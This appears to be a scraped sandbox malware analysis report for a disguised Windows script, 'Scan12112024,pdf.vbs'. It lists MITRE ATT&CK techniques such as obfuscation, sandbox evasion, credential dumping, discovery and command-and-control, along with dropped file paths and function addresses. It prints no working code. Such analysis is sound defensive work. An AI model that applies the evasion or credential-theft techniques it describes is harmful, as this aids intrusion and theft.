Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Scan12112024,pdf.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dohy0pyo.e2x.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eczotcty.5cx.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fh03muxy.bkk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oe1rt3bx.dr4.psm1

C:\Users\user\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
Scan12112024,pdf.vbs

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Function 07917630 Relevance: 5.3, Strings: 4, Instructions: 330
COMMON

Function 07916EA8 Relevance: 3.0, Strings: 2, Instructions: 533
COMMON

Function 0791C4E0 Relevance: 2.9, Strings: 2, Instructions: 357
COMMON

Function 0791D20B Relevance: 2.7, Strings: 2, Instructions: 208
COMMON

Function 0791D7B8 Relevance: 2.7, Strings: 2, Instructions: 203
COMMON

Function 0791586F Relevance: 2.7, Strings: 2, Instructions: 197
COMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre